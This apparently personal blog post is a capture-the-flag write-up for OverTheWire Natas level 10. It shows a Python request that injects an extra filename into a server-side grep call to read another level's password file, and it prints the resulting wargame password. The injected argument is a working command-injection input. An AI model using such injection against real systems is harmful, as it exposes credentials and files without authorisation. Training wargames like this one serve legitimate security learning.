Writeups OverTheWireNatasWebCommand InjectionPHP

Natas 10 Writeup - OverTheWire

Writeup for Natas level 10 from OverTheWire: command injection with filtered metacharacters.

Contents

Wargame: Natas

Level: 10

Category: Web Security

Description

Same as level 9, but ;, |, and & are now filtered. The grep command still runs, so we can inject a second filename into the grep arguments to make it search the password file directly.

Overview

Solution

payload = ".* /etc/natas_webpass/natas11 #"
response = requests.get(url, auth=("natas10", current_password), params={"needle": payload, "submit": ""})
# first line of output is the password from the password file
result = response.text.strip().splitlines()[0].strip()

Password

YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG

← Back to Blog